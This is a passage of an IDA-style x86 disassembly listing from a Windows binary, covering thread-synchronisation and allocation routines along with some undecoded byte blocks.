edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42FAD0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FAD0: ; CODE XREF: ___:0042FAC5j push esi push edx lea eax, [esp+10h] push offset dword_4476E0 push eax nop call near ptr 77C3F931h mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42FB0B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FB0B: ; CODE XREF: ___:0042FAFBj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FB70 proc near ; CODE XREF: sub_4016B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn sub_42FB70 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBA0: ; CODE XREF: ___:004016D1j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBD0: ; CODE XREF: ___:0040149Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov esi, dword_511A6C push edx lea eax, [esp+10h] push offset dword_4476F8 push eax call esi mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FC69 push ebx lea edx, [esp+10h] push offset dword_4476EC push edx call esi push edi lea eax, [esp+1Ch] push 32h push eax call sub_42E490 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FC69: ; CODE XREF: ___:0042FBF1j ; ___:0042FC0Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FCB0: ; CODE XREF: ___:00401C7Bj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42FCD9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FCD9: ; CODE XREF: ___:0042FCD0j push edx lea eax, [esp+4] push offset dword_447704 push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD30 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42FD69 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42E490 mov eax, [esi+8] add esp, 0Ch push eax call sub_4381FC ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_511AD0 push ecx call edi push esi call edi add esp, 8 pop edi loc_42FD69: ; CODE XREF: sub_42FD30+Aj pop esi retn sub_42FD30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FD80: ; CODE XREF: ___:004021C1j push edi mov edi, [esp+8] test edi, edi jnz short loc_42FD90 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42FD90: ; CODE XREF: ___:0042FD87j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42FDA6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42FDA6: ; CODE XREF: ___:0042FD9Dj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE00: ; CODE XREF: ___:0040151Ej push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FE19 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FE19: ; CODE XREF: ___:0042FE10j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx call near ptr 77C2C21Bh nop add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE50: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42FE75 test eax, eax jz short loc_42FE75 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42FE75: ; CODE XREF: ___:0042FE64j ; ___:0042FE68j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEA0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FEB9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FEB9: ; CODE XREF: ___:0042FEB0j mov eax, [esp+0Ch] test eax, eax jz short loc_42FECD cmp eax, 1 jz short loc_42FECD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FECD: ; CODE XREF: ___:0042FEBFj ; ___:0042FEC4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEF0: ; CODE XREF: ___:00401519j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF10: ; CODE XREF: ___:00401834j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF30: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF49 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF49: ; CODE XREF: ___:0042FF40j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF70: ; CODE XREF: ___:00402207j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF89 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF89: ; CODE XREF: ___:0042FF80j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFB0: ; CODE XREF: ___:004019B0j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFE0: ; CODE XREF: ___:004019ABj mov eax, [esp+8] sub eax, 0 jz short loc_430002 dec eax jz short loc_42FFF2 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FFF2: ; CODE XREF: ___:0042FFEAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_430002: ; CODE XREF: ___:0042FFE7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430020: ; CODE XREF: ___:00401C1Cj push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_4300BB mov edi, [esp+18h] test edi, edi jz loc_4300BB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_4300B2 mov eax, [esp+14h] ; DATA XREF: ___:off_444EA0o test eax, eax jz short loc_430060 mov eax, [eax] test eax, eax jz short loc_430060 mov eax, [eax] jmp short loc_430062 ; --------------------------------------------------------------------------- loc_430060: ; CODE XREF: ___:00430054j ; ___:0043005Aj xor eax, eax loc_430062: ; CODE XREF: ___:0043005Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_4300A8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_43009F mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43009F: ; CODE XREF: ___:00430097j push edi call sub_401690 add esp, 4 loc_4300A8: ; CODE XREF: ___:00430082j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_4300B2: ; CODE XREF: ___:0043004Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_4300BB: ; CODE XREF: ___:00430029j ; ___:00430035j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430100: ; CODE XREF: ___:0040220Cj push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_430168 mov esi, [ebp+0] test esi, esi jz short loc_430168 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43015E lea eax, [esi+14h] push eax call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43014F push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43014F: ; CODE XREF: ___:0043013Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C8A add esp, 0Ch loc_43015E: ; CODE XREF: ___:0043012Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_430168: ; CODE XREF: ___:0043010Aj ; ___:00430111j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301A0: ; CODE XREF: ___:004017A3j mov eax, [esp+4] push esi test eax, eax jz loc_430254 mov esi, [eax] test esi, esi jz loc_430254 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] call near ptr 2770BE3h nop test eax, eax jnz short loc_4301E7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_430234 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_402068 add esp, 8 mov esi, eax jmp short loc_430230 ; --------------------------------------------------------------------------- loc_4301E7: ; CODE XREF: ___:004301C8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_43020B lea ecx, [esp+14h] push ecx push ebx call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_43020D loc_43020B: ; CODE XREF: ___:004301F7j xor ebx, ebx loc_43020D: ; CODE XREF: ___:00430209j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_430230 mov eax, [esp+10h] push 0 push eax call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 loc_430230: ; CODE XREF: ___:004301E5j ; ___:0043021Fj test esi, esi jnz short loc_43024E loc_430234: ; CODE XREF: ___:004301D2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_5103D8 ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_43024E: ; CODE XREF: ___:00430232j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_430254: ; CODE XREF: ___:004301A7j ; ___:004301B1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430290: ; CODE XREF: ___:00401F6Ej push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4302B3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4302B3: ; CODE XREF: ___:004302A2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4302E0: ; CODE XREF: ___:00401A87j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_430301 mov eax, [ecx] test eax, eax jz short loc_430301 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430301: ; CODE XREF: ___:004302E9j ; ___:004302EFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430320: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_43033D mov eax, [eax] test eax, eax jz short loc_43033D mov ecx, [esp+8] test ecx, ecx jz short loc_43033D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43033D: ; CODE XREF: ___:00430326j ; ___:0043032Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430360: ; CODE XREF: ___:00401636j mov eax, [esp+4] test eax, eax jz short loc_43038A mov ecx, [eax] test ecx, ecx jz short loc_43038A mov eax, [esp+8] cmp eax, 1 jz short loc_43037E test eax, eax jnz short loc_43038A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43037E: ; CODE XREF: ___:00430375j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43038A: ; CODE XREF: ___:00430366j ; ___:0043036Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4303A0 proc near ; CODE XREF: sub_401415j push esi push edi call sub_4012E4 sub_4303A0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 0E8525738h, 234044Ah, 75C08590h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 3405AFE8h, 0B4E85302h dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_430460: ; CODE XREF: ___:00402261j push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 90525338h, 340389E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 3404EFE8h, 0F4E85702h dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401D02j push esi push edi call sub_4012E4 sub_430520 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 2ECE850h, 85900234h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_4305A0: ; CODE XREF: ___:00401D39j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401762 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_4306D9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4305DB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4305DB: ; CODE XREF: ___:004305CCj push ebx push ebp push edi push eax push esi call sub_401A64 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402248 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_4306B2 mov eax, [esi+30h] test eax, eax jnz loc_4306B2 cmp [esi+0Ch], ebp jge loc_4306C5 test edi, edi jz short loc_430644 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_430644: ; CODE XREF: ___:00430619j mov edi, [esi+4] push edi call near ptr 2760CA2h nop push 0 push edi nop call near ptr 2770836h cmp eax, 102h jnz short loc_4306D2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2770000h lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_430750 push ecx push edi call near ptr 27701BBh nop push ebx call sub_4010C3 add esp, 4 push edi nop call near ptr 2770480h mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4306B2: ; CODE XREF: ___:004305FDj ; ___:00430608j cmp [esi+0Ch], ebp jge short loc_4306C5 mov edx, [esi+38h] push edx nop call near ptr 27706B7h test eax, eax jnz short loc_4306C9 loc_4306C5: ; CODE XREF: ___:00430611j ; ___:004306B5j mov [esp+10h], ebp loc_4306C9: ; CODE XREF: ___:004306C3j push ebx call sub_4010C3 add esp, 4 loc_4306D2: ; CODE XREF: ___:0043065Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_4306D9: ; CODE XREF: ___:004305BFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_430750: ; DATA XREF: ___:00430680o push 2 call sub_401DED ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430770 proc near ; CODE XREF: sub_401122j mov eax, dword_5103C8 push esi push eax call sub_401190 sub_430770 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_4307AE mov eax, [esp+8] test eax, eax jz short loc_43079C mov eax, [esi] test eax, eax jz short loc_43079C mov ecx, [esi+4] push ecx call eax add esp, 4 loc_43079C: ; CODE XREF: ___:0043078Bj ; ___:00430791j mov edx, [esi+8] mov eax, dword_5103C8 push edx push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 8 loc_4307AE: ; CODE XREF: ___:00430783j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4307E0 proc near ; CODE XREF: sub_401663j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_5103C8 push edx call sub_401190 sub_4307E0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_5103C8 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430830 proc near ; CODE XREF: sub_401B63j arg_0 = dword ptr 4 push esi push offset dword_510920 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_430864 push esi push ecx call sub_40154B add esp, 8 mov esi, eax push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430864: ; CODE XREF: sub_430830+17j test eax, eax jnz short loc_43086D mov esi, 16h loc_43086D: ; CODE XREF: sub_430830+36j push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430830 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: ___:0040211Cj push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4308C3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4308C3: ; CODE XREF: ___:004308B2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308E0: ; CODE XREF: ___:004021F3j push esi mov esi, [esp+8] test esi, esi jz short loc_430903 mov eax, [esi] test eax, eax jz short loc_430903 push eax nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430903: ; CODE XREF: ___:004308E7j ; ___:004308EDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430920: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_43093D mov eax, [eax] test eax, eax jz short loc_43093D mov ecx, [esp+8] test ecx, ecx jz short loc_43093D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43093D: ; CODE XREF: ___:00430926j ; ___:0043092Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430960: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_43098A mov ecx, [eax] test ecx, ecx jz short loc_43098A mov eax, [esp+8] cmp eax, 1 jz short loc_43097E test eax, eax jnz short loc_43098A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43097E: ; CODE XREF: ___:00430975j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43098A: ; CODE XREF: ___:00430966j ; ___:0043096Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4309A0 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_4309B6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4309B6: ; CODE XREF: sub_4309A0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_4309DD mov eax, [eax] cmp eax, edi jz short loc_4309DD cmp dword ptr [eax], 1 jnz short loc_4309DD mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4309DD: ; CODE XREF: sub_4309A0+1Ej ; sub_4309A0+24j ... push 20h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 cmp esi, edi jnz short loc_430A02 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430A02: ; CODE XREF: sub_4309A0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A27 call near ptr 77C1F2BCh nop mov edi, [eax] jmp short loc_430A6B ; --------------------------------------------------------------------------- loc_430A27: ; CODE XREF: sub_4309A0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A45 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_430A62 ; --------------------------------------------------------------------------- loc_430A45: ; CODE XREF: sub_4309A0+99j lea eax, [esi+14h] push 0 push eax call sub_4021BC mov edi, eax add esp, 8 test edi, edi jz short loc_430ACF push ebx call sub_401690 add esp, 4 loc_430A62: ; CODE XREF: sub_4309A0+A3j push ebp call sub_401690 add esp, 4 loc_430A6B: ; CODE XREF: sub_4309A0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_430AC2 loc_430A7B: ; CODE XREF: sub_4309A0+131j push offset dword_5109A0 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_5103D0 mov [esi+1Ch], ecx mov eax, dword_5103D0 test eax, eax jz short loc_430AA2 mov [eax+18h], esi loc_430AA2: ; CODE XREF: sub_4309A0+FDj mov eax, dword_5103CC mov dword_5103D0, esi test eax, eax jnz short loc_430AB7 mov dword_5103CC, esi loc_430AB7: ; CODE XREF: sub_4309A0+10Fj push offset dword_5109A0 call near ptr 7C9010EDh nop loc_430AC2: ; CODE XREF: sub_4309A0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430ACF: ; CODE XREF: sub_4309A0+B7j xor edi, edi jmp short loc_430A7B sub_4309A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430B30 proc near ; CODE XREF: sub_401AA5j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_430CDC mov eax, [edi] test eax, eax jz loc_430CDC cmp eax, 0FFFFFFFFh jz loc_430C93 push offset dword_5109A0 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430B89 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430B89: ; CODE XREF: sub_430B30+49j lea ebp, [esi+14h] push ebp call sub_401785 add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_430BB0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430BB0: ; CODE XREF: sub_430B30+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_430BE9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_430BD2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_430BD2: ; CODE XREF: sub_430B30+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_430C7E ; --------------------------------------------------------------------------- loc_430BE9: ; CODE XREF: sub_430B30+87j push ebx mov dword ptr [edi], 0 call sub_401690 mov edi, dword_511A70 add esp, 4 test eax, eax jz short loc_430C0A call edi mov edx, [eax] mov [esp+14h+arg_0], edx loc_430C0A: ; CODE XREF: sub_430B30+D0j lea eax, [esi+0Ch] push eax call sub_401690 add esp, 4 test eax, eax jz short loc_430C22 call edi mov ecx, [eax] mov [esp+14h+var_4], ecx loc_430C22: ; CODE XREF: sub_430B30+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_430C3C push 